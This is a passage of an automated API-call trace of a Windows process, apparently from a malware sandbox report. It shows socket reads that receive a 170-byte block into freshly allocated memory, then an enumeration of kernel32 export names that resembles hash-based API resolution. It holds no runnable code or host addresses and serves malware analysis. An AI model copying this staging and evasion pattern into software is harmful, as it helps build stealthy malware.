buf=0x2c4f856*) returned 1 [0055.478] recv (in: s=0x204, buf=0x2c4f857, len=1, flags=0 | out: buf=0x2c4f857*) returned 1 [0055.478] recv (in: s=0x204, buf=0x2c4f858, len=1, flags=0 | out: buf=0x2c4f858*) returned 1 [0055.478] recv (in: s=0x204, buf=0x2c4f859, len=1, flags=0 | out: buf=0x2c4f859*) returned 1 [0055.478] recv (in: s=0x204, buf=0x2c4f85a, len=1, flags=0 | out: buf=0x2c4f85a*) returned 1 [0055.478] recv (in: s=0x204, buf=0x2c4f85b, len=1, flags=0 | out: buf=0x2c4f85b*) returned 1 [0055.478] recv (in: s=0x204, buf=0x2c4f85c, len=1, flags=0 | out: buf=0x2c4f85c*) returned 1 [0055.478] recv (in: s=0x204, buf=0x2c4f85d, len=1, flags=0 | out: buf=0x2c4f85d*) returned 1 [0055.478] recv (in: s=0x204, buf=0x2c4f85e, len=1, flags=0 | out: buf=0x2c4f85e*) returned 1 [0055.478] recv (in: s=0x204, buf=0x2c4f85f, len=1, flags=0 | out: buf=0x2c4f85f*) returned 1 [0055.478] recv (in: s=0x204, buf=0x2c4f860, len=1, flags=0 | out: buf=0x2c4f860*) returned 1 [0055.478] recv (in: s=0x204, buf=0x2c4f861, len=1, flags=0 | out: buf=0x2c4f861*) returned 1 [0055.479] recv (in: s=0x204, buf=0x2c4f862, len=1, flags=0 | out: buf=0x2c4f862*) returned 1 [0055.479] recv (in: s=0x204, buf=0x2c4f863, len=1, flags=0 | out: buf=0x2c4f863*) returned 1 [0055.479] recv (in: s=0x204, buf=0x2c4f864, len=1, flags=0 | out: buf=0x2c4f864*) returned 1 [0055.479] recv (in: s=0x204, buf=0x2c4f865, len=1, flags=0 | out: buf=0x2c4f865*) returned 1 [0055.479] recv (in: s=0x204, buf=0x2c4f866, len=1, flags=0 | out: buf=0x2c4f866*) returned 1 [0055.479] recv (in: s=0x204, buf=0x2c4f867, len=1, flags=0 | out: buf=0x2c4f867*) returned 1 [0055.479] recv (in: s=0x204, buf=0x2c4f868, len=1, flags=0 | out: buf=0x2c4f868*) returned 1 [0055.479] recv (in: s=0x204, buf=0x2c4f869, len=1, flags=0 | out: buf=0x2c4f869*) returned 1 [0055.479] recv (in: s=0x204, buf=0x2c4f86a, len=1, flags=0 | out: buf=0x2c4f86a*) returned 1 [0055.479] recv (in: s=0x204, buf=0x2c4f86b, len=1, flags=0 | out: buf=0x2c4f86b*) returned 1 [0055.480] recv (in: s=0x204, buf=0x2c4f86c, len=1, flags=0 | out: buf=0x2c4f86c*) returned 1 [0055.480] recv (in: s=0x204, buf=0x2c4f86d, len=1, flags=0 | out: buf=0x2c4f86d*) returned 1 [0055.480] recv (in: s=0x204, buf=0x2c4f86e, len=1, flags=0 | out: buf=0x2c4f86e*) returned 1 [0055.480] recv (in: s=0x204, buf=0x2c4f86f, len=1, flags=0 | out: buf=0x2c4f86f*) returned 1 [0055.480] recv (in: s=0x204, buf=0x2c4f870, len=1, flags=0 | out: buf=0x2c4f870*) returned 1 [0055.480] recv (in: s=0x204, buf=0x2c4f871, len=1, flags=0 | out: buf=0x2c4f871*) returned 1 [0055.480] recv (in: s=0x204, buf=0x2c4f872, len=1, flags=0 | out: buf=0x2c4f872*) returned 1 [0055.480] recv (in: s=0x204, buf=0x2c4f873, len=1, flags=0 | out: buf=0x2c4f873*) returned 1 [0055.480] recv (in: s=0x204, buf=0x2c4f874, len=1, flags=0 | out: buf=0x2c4f874*) returned 1 [0055.480] recv (in: s=0x204, buf=0x2c4f875, len=1, flags=0 | out: buf=0x2c4f875*) returned 1 [0055.480] recv (in: s=0x204, buf=0x2c4f876, len=1, flags=0 | out: buf=0x2c4f876*) returned 1 [0055.480] recv (in: s=0x204, buf=0x2c4f877, len=1, flags=0 | out: buf=0x2c4f877*) returned 1 [0055.481] recv (in: s=0x204, buf=0x2c4f878, len=1, flags=0 | out: buf=0x2c4f878*) returned 1 [0055.481] recv (in: s=0x204, buf=0x2c4f879, len=1, flags=0 | out: buf=0x2c4f879*) returned 1 [0055.481] recv (in: s=0x204, buf=0x2c4f87a, len=1, flags=0 | out: buf=0x2c4f87a*) returned 1 [0055.481] recv (in: s=0x204, buf=0x2c4f87b, len=1, flags=0 | out: buf=0x2c4f87b*) returned 1 [0055.481] recv (in: s=0x204, buf=0x2c4f87c, len=1, flags=0 | out: buf=0x2c4f87c*) returned 1 [0055.481] recv (in: s=0x204, buf=0x2c4f87d, len=1, flags=0 | out: buf=0x2c4f87d*) returned 1 [0055.481] recv (in: s=0x204, buf=0x2c4f87e, len=1, flags=0 | out: buf=0x2c4f87e*) returned 1 [0055.481] recv (in: s=0x204, buf=0x2c4f87f, len=1, flags=0 | out: buf=0x2c4f87f*) returned 1 [0055.481] recv (in: s=0x204, buf=0x2c4f880, len=1, flags=0 | out: buf=0x2c4f880*) returned 1 [0055.481] recv (in: s=0x204, buf=0x2c4f881, len=1, flags=0 | out: buf=0x2c4f881*) returned 1 [0055.481] recv (in: s=0x204, buf=0x2c4f882, len=1, flags=0 | out: buf=0x2c4f882*) returned 1 [0055.482] recv (in: s=0x204, buf=0x2c4f883, len=1, flags=0 | out: buf=0x2c4f883*) returned 1 [0055.482] recv (in: s=0x204, buf=0x2c4f884, len=1, flags=0 | out: buf=0x2c4f884*) returned 1 [0055.482] recv (in: s=0x204, buf=0x2c4f885, len=1, flags=0 | out: buf=0x2c4f885*) returned 1 [0055.482] recv (in: s=0x204, buf=0x2c4f886, len=1, flags=0 | out: buf=0x2c4f886*) returned 1 [0055.482] recv (in: s=0x204, buf=0x2c4f887, len=1, flags=0 | out: buf=0x2c4f887*) returned 1 [0055.482] recv (in: s=0x204, buf=0x2c4f888, len=1, flags=0 | out: buf=0x2c4f888*) returned 1 [0055.482] recv (in: s=0x204, buf=0x2c4f889, len=1, flags=0 | out: buf=0x2c4f889*) returned 1 [0055.482] recv (in: s=0x204, buf=0x2c4f88a, len=1, flags=0 | out: buf=0x2c4f88a*) returned 1 [0055.482] recv (in: s=0x204, buf=0x2c4f88b, len=1, flags=0 | out: buf=0x2c4f88b*) returned 1 [0055.482] recv (in: s=0x204, buf=0x2c4f88c, len=1, flags=0 | out: buf=0x2c4f88c*) returned 1 [0055.482] recv (in: s=0x204, buf=0x2c4f88d, len=1, flags=0 | out: buf=0x2c4f88d*) returned 1 [0055.483] recv (in: s=0x204, buf=0x2c4f88e, len=1, flags=0 | out: buf=0x2c4f88e*) returned 1 [0055.483] recv (in: s=0x204, buf=0x2c4f88f, len=1, flags=0 | out: buf=0x2c4f88f*) returned 1 [0055.483] recv (in: s=0x204, buf=0x2c4f890, len=1, flags=0 | out: buf=0x2c4f890*) returned 1 [0055.483] recv (in: s=0x204, buf=0x2c4f891, len=1, flags=0 | out: buf=0x2c4f891*) returned 1 [0055.483] recv (in: s=0x204, buf=0x2c4f892, len=1, flags=0 | out: buf=0x2c4f892*) returned 1 [0055.483] recv (in: s=0x204, buf=0x2c4f893, len=1, flags=0 | out: buf=0x2c4f893*) returned 1 [0055.483] recv (in: s=0x204, buf=0x2c4f894, len=1, flags=0 | out: buf=0x2c4f894*) returned 1 [0055.483] recv (in: s=0x204, buf=0x2c4f895, len=1, flags=0 | out: buf=0x2c4f895*) returned 1 [0055.483] recv (in: s=0x204, buf=0x2c4f896, len=1, flags=0 | out: buf=0x2c4f896*) returned 1 [0055.483] recv (in: s=0x204, buf=0x2c4f897, len=1, flags=0 | out: buf=0x2c4f897*) returned 1 [0055.483] recv (in: s=0x204, buf=0x2c4f898, len=1, flags=0 | out: buf=0x2c4f898*) returned 1 [0055.484] recv (in: s=0x204, buf=0x2c4f899, len=1, flags=0 | out: buf=0x2c4f899*) returned 1 [0055.484] recv (in: s=0x204, buf=0x2c4f89a, len=1, flags=0 | out: buf=0x2c4f89a*) returned 1 [0055.484] recv (in: s=0x204, buf=0x2c4f89b, len=1, flags=0 | out: buf=0x2c4f89b*) returned 1 [0055.484] recv (in: s=0x204, buf=0x2c4f89c, len=1, flags=0 | out: buf=0x2c4f89c*) returned 1 [0055.484] recv (in: s=0x204, buf=0x2c4f89d, len=1, flags=0 | out: buf=0x2c4f89d*) returned 1 [0055.484] recv (in: s=0x204, buf=0x2c4f89e, len=1, flags=0 | out: buf=0x2c4f89e*) returned 1 [0055.484] recv (in: s=0x204, buf=0x2c4f89f, len=1, flags=0 | out: buf=0x2c4f89f*) returned 1 [0055.484] recv (in: s=0x204, buf=0x2c4f8a0, len=1, flags=0 | out: buf=0x2c4f8a0*) returned 1 [0055.484] recv (in: s=0x204, buf=0x2c4f8a1, len=1, flags=0 | out: buf=0x2c4f8a1*) returned 1 [0055.485] recv (in: s=0x204, buf=0x2c4f8a2, len=1, flags=0 | out: buf=0x2c4f8a2*) returned 1 [0055.485] recv (in: s=0x204, buf=0x2c4f8a3, len=1, flags=0 | out: buf=0x2c4f8a3*) returned 1 [0055.485] recv (in: s=0x204, buf=0x2c4f8a4, len=1, flags=0 | out: buf=0x2c4f8a4*) returned 1 [0055.485] recv (in: s=0x204, buf=0x2c4f8a5, len=1, flags=0 | out: buf=0x2c4f8a5*) returned 1 [0055.485] recv (in: s=0x204, buf=0x2c4f8a6, len=1, flags=0 | out: buf=0x2c4f8a6*) returned 1 [0055.485] recv (in: s=0x204, buf=0x2c4f8a7, len=1, flags=0 | out: buf=0x2c4f8a7*) returned 1 [0055.485] recv (in: s=0x204, buf=0x2c4f8a8, len=1, flags=0 | out: buf=0x2c4f8a8*) returned 1 [0055.485] recv (in: s=0x204, buf=0x2c4f8a9, len=1, flags=0 | out: buf=0x2c4f8a9*) returned 1 [0055.485] recv (in: s=0x204, buf=0x2c4f8aa, len=1, flags=0 | out: buf=0x2c4f8aa*) returned 1 [0055.485] recv (in: s=0x204, buf=0x2c4f8ab, len=1, flags=0 | out: buf=0x2c4f8ab*) returned 1 [0055.485] recv (in: s=0x204, buf=0x2c4f8ac, len=1, flags=0 | out: buf=0x2c4f8ac*) returned 1 [0055.485] recv (in: s=0x204, buf=0x2c4f8ad, len=1, flags=0 | out: buf=0x2c4f8ad*) returned 1 [0055.486] recv (in: s=0x204, buf=0x2c4f8ae, len=1, flags=0 | out: buf=0x2c4f8ae*) returned 1 [0055.486] recv (in: s=0x204, buf=0x2c4f8af, len=1, flags=0 | out: buf=0x2c4f8af*) returned 1 [0055.486] recv (in: s=0x204, buf=0x2c4f8b0, len=1, flags=0 | out: buf=0x2c4f8b0*) returned 1 [0055.486] recv (in: s=0x204, buf=0x2c4f8b1, len=1, flags=0 | out: buf=0x2c4f8b1*) returned 1 [0055.486] recv (in: s=0x204, buf=0x2c4f8b2, len=1, flags=0 | out: buf=0x2c4f8b2*) returned 1 [0055.486] recv (in: s=0x204, buf=0x2c4f8b3, len=1, flags=0 | out: buf=0x2c4f8b3*) returned 1 [0055.486] recv (in: s=0x204, buf=0x2c4f8b4, len=1, flags=0 | out: buf=0x2c4f8b4*) returned 1 [0055.486] recv (in: s=0x204, buf=0x2c4f8b5, len=1, flags=0 | out: buf=0x2c4f8b5*) returned 1 [0055.486] recv (in: s=0x204, buf=0x2c4f8b6, len=1, flags=0 | out: buf=0x2c4f8b6*) returned 1 [0055.486] recv (in: s=0x204, buf=0x2c4f8b7, len=1, flags=0 | out: buf=0x2c4f8b7*) returned 1 [0055.486] recv (in: s=0x204, buf=0x2c4f8b8, len=1, flags=0 | out: buf=0x2c4f8b8*) returned 1 [0055.487] recv (in: s=0x204, buf=0x2c4f8b9, len=1, flags=0 | out: buf=0x2c4f8b9*) returned 1 [0055.487] recv (in: s=0x204, buf=0x2c4f8ba, len=1, flags=0 | out: buf=0x2c4f8ba*) returned 1 [0055.487] recv (in: s=0x204, buf=0x2c4f8bb, len=1, flags=0 | out: buf=0x2c4f8bb*) returned 1 [0055.487] recv (in: s=0x204, buf=0x2c4f8bc, len=1, flags=0 | out: buf=0x2c4f8bc*) returned 1 [0055.487] recv (in: s=0x204, buf=0x2c4f8bd, len=1, flags=0 | out: buf=0x2c4f8bd*) returned 1 [0055.487] recv (in: s=0x204, buf=0x2c4f8be, len=1, flags=0 | out: buf=0x2c4f8be*) returned 1 [0055.487] recv (in: s=0x204, buf=0x2c4f8bf, len=1, flags=0 | out: buf=0x2c4f8bf*) returned 1 [0055.487] recv (in: s=0x204, buf=0x2c4f8c0, len=1, flags=0 | out: buf=0x2c4f8c0*) returned 1 [0055.487] recv (in: s=0x204, buf=0x2c4f8c1, len=1, flags=0 | out: buf=0x2c4f8c1*) returned 1 [0055.487] recv (in: s=0x204, buf=0x2c4f8c2, len=1, flags=0 | out: buf=0x2c4f8c2*) returned 1 [0055.487] recv (in: s=0x204, buf=0x2c4f8c3, len=1, flags=0 | out: buf=0x2c4f8c3*) returned 1 [0055.488] recv (in: s=0x204, buf=0x2c4f8c4, len=1, flags=0 | out: buf=0x2c4f8c4*) returned 1 [0055.488] recv (in: s=0x204, buf=0x2c4f8c5, len=1, flags=0 | out: buf=0x2c4f8c5*) returned 1 [0055.488] recv (in: s=0x204, buf=0x2c4f8c6, len=1, flags=0 | out: buf=0x2c4f8c6*) returned 1 [0055.488] recv (in: s=0x204, buf=0x2c4f8c7, len=1, flags=0 | out: buf=0x2c4f8c7*) returned 1 [0055.488] recv (in: s=0x204, buf=0x2c4f8c8, len=1, flags=0 | out: buf=0x2c4f8c8*) returned 1 [0055.488] recv (in: s=0x204, buf=0x2c4f8c9, len=1, flags=0 | out: buf=0x2c4f8c9*) returned 1 [0055.488] recv (in: s=0x204, buf=0x2c4f8ca, len=1, flags=0 | out: buf=0x2c4f8ca*) returned 1 [0055.488] recv (in: s=0x204, buf=0x2c4f8cb, len=1, flags=0 | out: buf=0x2c4f8cb*) returned 1 [0055.488] recv (in: s=0x204, buf=0x2c4f8cc, len=1, flags=0 | out: buf=0x2c4f8cc*) returned 1 [0055.488] recv (in: s=0x204, buf=0x2c4f8cd, len=1, flags=0 | out: buf=0x2c4f8cd*) returned 1 [0055.488] recv (in: s=0x204, buf=0x2c4f8ce, len=1, flags=0 | out: buf=0x2c4f8ce*) returned 1 [0055.489] recv (in: s=0x204, buf=0x2c4f8cf, len=1, flags=0 | out: buf=0x2c4f8cf*) returned 1 [0055.489] recv (in: s=0x204, buf=0x2c4f8d0, len=1, flags=0 | out: buf=0x2c4f8d0*) returned 1 [0055.489] recv (in: s=0x204, buf=0x2c4f8d1, len=1, flags=0 | out: buf=0x2c4f8d1*) returned 1 [0055.489] recv (in: s=0x204, buf=0x2c4f8d2, len=1, flags=0 | out: buf=0x2c4f8d2*) returned 1 [0055.489] recv (in: s=0x204, buf=0x2c4f8d3, len=1, flags=0 | out: buf=0x2c4f8d3*) returned 1 [0055.489] recv (in: s=0x204, buf=0x2c4f8d4, len=1, flags=0 | out: buf=0x2c4f8d4*) returned 1 [0055.489] recv (in: s=0x204, buf=0x2c4f8d5, len=1, flags=0 | out: buf=0x2c4f8d5*) returned 1 [0055.489] recv (in: s=0x204, buf=0x2c4f8d6, len=1, flags=0 | out: buf=0x2c4f8d6*) returned 1 [0055.489] recv (in: s=0x204, buf=0x2c4f8d7, len=1, flags=0 | out: buf=0x2c4f8d7*) returned 1 [0055.489] recv (in: s=0x204, buf=0x2c4f8d8, len=1, flags=0 | out: buf=0x2c4f8d8*) returned 1 [0055.489] recv (in: s=0x204, buf=0x2c4f8d9, len=1, flags=0 | out: buf=0x2c4f8d9*) returned 1 [0055.489] recv (in: s=0x204, buf=0x2c4f8da, len=1, flags=0 | out: buf=0x2c4f8da*) returned 1 [0055.490] recv (in: s=0x204, buf=0x2c4f8db, len=1, flags=0 | out: buf=0x2c4f8db*) returned 1 [0055.490] recv (in: s=0x204, buf=0x2c4f8dc, len=1, flags=0 | out: buf=0x2c4f8dc*) returned 1 [0055.490] recv (in: s=0x204, buf=0x2c4f8dd, len=1, flags=0 | out: buf=0x2c4f8dd*) returned 1 [0055.490] recv (in: s=0x204, buf=0x2c4f8de, len=1, flags=0 | out: buf=0x2c4f8de*) returned 1 [0055.490] recv (in: s=0x204, buf=0x2c4f8df, len=1, flags=0 | out: buf=0x2c4f8df*) returned 1 [0055.490] recv (in: s=0x204, buf=0x2c4f8e0, len=1, flags=0 | out: buf=0x2c4f8e0*) returned 1 [0055.490] recv (in: s=0x204, buf=0x2c4f8e1, len=1, flags=0 | out: buf=0x2c4f8e1*) returned 1 [0055.490] recv (in: s=0x204, buf=0x2c4f8e2, len=1, flags=0 | out: buf=0x2c4f8e2*) returned 1 [0055.490] StrToIntA (lpSrc="170") returned 170 [0055.490] VirtualAlloc (lpAddress=0x0, dwSize=0xaa, flAllocationType=0x3000, flProtect=0x4) returned 0x2f70000 [0055.491] recv (in: s=0x204, buf=0x2f70000, len=170, flags=0 | out: buf=0x2f70000*) returned 170 [0055.491] VirtualFree (lpAddress=0x2f40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.491] VirtualFree (lpAddress=0x2f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.492] VirtualFree (lpAddress=0x2f60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.492] closesocket (s=0x204) returned 0 [0055.492] WSACleanup () returned 0 [0055.519] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.519] VirtualFree (lpAddress=0x2f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.519] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.519] VirtualFree (lpAddress=0x2ef0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.520] VirtualFree (lpAddress=0x2f00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.520] lstrlenA (lpString="kernel32.dll") returned 12 [0055.520] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0055.520] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0055.520] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0055.520] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0055.520] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0055.520] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0055.520] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0055.520] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0055.520] lstrlenA (lpString="ADDATOMA") returned 8 [0055.520] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0055.520] lstrlenA (lpString="ADDATOMW") returned 8 [0055.520] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0055.520] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0055.520] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0055.520] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0055.521] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0055.521] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0055.521] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0055.521] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0055.521] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0055.521] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0055.521] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0055.521] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0055.521] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0055.521] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0055.521] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0055.521] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0055.521] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0055.521] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0055.521] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0055.521] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0055.521] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0055.521] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0055.521] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0055.521] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0055.521] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0055.521] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0055.521] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0055.521] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0055.521] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0055.521] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0055.521] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0055.521] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0055.521] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0055.521] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0055.521] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0055.521] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0055.521] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0055.521] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0055.521] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0055.522] lstrlenA (lpString="BACKUPREAD") returned 10 [0055.522] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0055.522] lstrlenA (lpString="BACKUPSEEK") returned 10 [0055.522] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0055.522] lstrlenA (lpString="BACKUPWRITE") returned 11 [0055.522] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0055.522] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0055.522] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0055.522] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0055.522] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0055.522] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0055.522] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0055.522] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0055.522] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0055.522] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0055.522] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0055.522] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0055.522] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0055.522] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0055.522] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0055.522] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0055.522] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0055.522] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0055.522] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0055.522] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0055.522] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0055.522] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0055.522] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0055.522] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0055.522] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0055.522] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0055.522] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0055.522] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0055.522] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0055.523] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0055.523] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0055.523] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0055.523] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0055.523] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0055.523] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0055.523] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0055.523] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0055.523] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0055.523] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0055.523] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0055.523] lstrcpyA (in: 